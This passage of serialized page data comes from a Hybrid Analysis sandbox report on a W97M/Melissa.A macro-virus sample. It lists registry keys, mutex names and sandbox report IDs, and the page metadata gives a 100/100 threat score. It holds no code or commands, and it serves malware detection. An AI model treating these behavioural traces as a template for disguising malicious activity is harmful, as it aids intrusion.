SETTINGS\\WPAD\\{FD4316C2-FF33-42BF-BE78-39051EB67EC2}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-00-5E-00-01-01\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\OUTLOOK\\RESILIENCY\\STARTUPITEMS\\JTP\\JTP","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\OUTLOOK\\RESILIENCY\\STARTUPITEMS\\AUP\\AUP","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\OUTLOOK\\RESILIENCY\\STARTUPITEMS\\QUP\\QUP","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\OUTLOOK\\RESILIENCY\\STARTUPITEMS\\> Q\\> Q","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\x64_10MU_ACB10_S-1-5-5-0-70172","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\x64_10MU_ACBPIDS_S-1-5-5-0-70172","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\TC-Rebuild-Mutex-00000060-00080030","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\4F75746C6F6F6B55A74B2BFD73304197DCC530AEB61B7D_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\_outlook_keepalive_","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\4D4150494C6F676F6E0070B872C47FD7101B8BEA00AA0038C699_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\_outlook_mutex_","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\OLKCRPC.OBJ=SharedMemoryMutex_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"5FC027190002000000029D75_CACHEMUTEX","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\4F75746C6F6F6BEE226CB5C43A904AB9868046BD951C5302_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\4F75746C6F6F6B547A0ACD3CA07C448367134F09A9ADBE_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\4F75746C6F6F6B547A0ACD3CA07C448367134F09A9ADBE02_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\TC-Rebuild-Mutex-00000060-00080090","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\TC-Rebuild-Mutex-00000060-0000814e","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\4F75746C6F6F6BEE226CB5C43A904AB9868046BD951C53_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\OfficeSharedLocks_Heap_00_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\OfficeSharedLocks_BootMutex_00_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"MSSPHTB_Alive","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\4F75746C6F6F6B55A74B2BFD73304197DCC530AEB61B7D02_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"Local\\TC-Rebuild-Mutex-00000060-0000824e","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\TC-Rebuild-Mutex-00000060-00080030","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\4F75746C6F6F6B547A0ACD3CA07C448367134F09A9ADBE02_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\TC-Rebuild-Mutex-00000060-0000824e","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\4F75746C6F6F6BEE226CB5C43A904AB9868046BD951C53_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\4F75746C6F6F6B55A74B2BFD73304197DCC530AEB61B7D_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\4D4150494C6F676F6E0070B872C47FD7101B8BEA00AA0038C699_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\4F75746C6F6F6B547A0ACD3CA07C448367134F09A9ADBE_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\5FC027190002000000029D75_CACHEMUTEX","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\x64_10MU_ACBPIDS_S-1-5-5-0-275471","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\x64_10MU_ACB10_S-1-5-5-0-275471","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"\\BaseNamedObjects\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6344:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6344:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"\\BaseNamedObjects\\MTX_MSO_Formal1_S-1-5-21-1271187874-1938232448-3812392235-1001","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"\\BaseNamedObjects\\MTX_MSO_AdHoc1_S-1-5-21-1271187874-1938232448-3812392235-1001","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"SM0:6344:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"Local\\SM0:6344:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"x64_10MU_ACB10_S-1-5-5-0-275471","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"Local\\SM0:6344:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"x64_10MU_ACBPIDS_S-1-5-5-0-275471","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6344:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-63300","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-63300","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\10MU_ACBPIDS_S-1-5-5-0-63300","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\10MU_ACB10_S-1-5-5-0-63300","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\4F75746C6F6F6BE1564EC0B2F5674C9C2C04D9C3E81D5802_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\4F75746C6F6F6B5F477DAF20AEB94E98A388C30BB0603002_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\4F75746C6F6F6BE1564EC0B2F5674C9C2C04D9C3E81D58_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\TC-Rebuild-Mutex-00000040-0000814e","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\4F75746C6F6F6B5F477DAF20AEB94E98A388C30BB06030_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\4D4150494C6F676F6E0070B872C47FD7101B8BEA00AA0038C699_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\4F75746C6F6F6BE1564EC0B2F5674C9C2C04D9C3E81D5802_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\OfficeSharedLocks_Heap_00_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\4F75746C6F6F6B8B5A8EC90C65774EB93B2E4FB10C91B8_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"5CAD5195000200000001EBE5_CACHEMUTEX","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\4F75746C6F6F6B8B5A8EC90C65774EB93B2E4FB10C91B802_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\OfficeSharedLocks_BootMutex_00_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\OLKCRPC.OBJ=SharedMemoryMutex_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\TC-Rebuild-Mutex-00000040-0000824e","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\OLKCRPC.OBJ=SharedMemoryMutex_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\4D4150494C6F676F6E0070B872C47FD7101B8BEA00AA0038C699_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\4F75746C6F6F6B8B5A8EC90C65774EB93B2E4FB10C91B802_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\4F75746C6F6F6B5F477DAF20AEB94E98A388C30BB0603002_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_outlook_mutex_","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_outlook_keepalive_","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\OfficeSharedLocks_Heap_00_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\OfficeSharedLocks_BootMutex_00_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\MSSPHTB_Alive","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\4F75746C6F6F6B8B5A8EC90C65774EB93B2E4FB10C91B8_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\4F75746C6F6F6B5F477DAF20AEB94E98A388C30BB06030_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\4F75746C6F6F6BE1564EC0B2F5674C9C2C04D9C3E81D58_S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\5CAD5195000200000001EBE5_CACHEMUTEX","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\TC-Rebuild-Mutex-00000040-0000814e","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\TC-Rebuild-Mutex-00000040-0000824e","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"name":"Local\\SM0:1428:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"name":"x64_10MU_ACBPIDS_S-1-5-5-0-198109","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"name":"SM0:1428:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"name":"x64_10MU_ACB10_S-1-5-5-0-198109","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1428:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1428:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\x64_10MU_ACBPIDS_S-1-5-5-0-198109","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\x64_10MU_ACB10_S-1-5-5-0-198109","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]}]}},"report_ids":{"sandbox_job_ids":["66c0d90bdf882e09ce0cc440","64a5d766ed4f54f90b04e216","60570d6f4ff751744c54315a","5e1f704d484ec8669b0fb0f7"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious W97M/Melissa.A Sample 554701bc874d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 554701bc874d…. Malware family: W97M/Melissa.A. Threat score 100/100. 18/25 AV engines flagged this file. 7 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/554701bc874da646285689df79e5002b3b1a1f76daf705bea9586640026697ca"}],["$","meta","4",{"property":"og:title","content":"Malicious W97M/Melissa.A Sample 554701bc874d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 554701bc874d…. Malware family: W97M/Melissa.A. Threat score 100/100. 18/25 AV engines flagged this file. 7 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/554701bc874da646285689df79e5002b3b1a1f76daf705bea9586640026697ca"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious W97M/Melissa.A Sample 554701bc874d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 554701bc874d…. Malware family: W97M/Melissa.A. Threat score 100/100. 18/25 AV engines flagged this file. 7 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L37","11",{}]]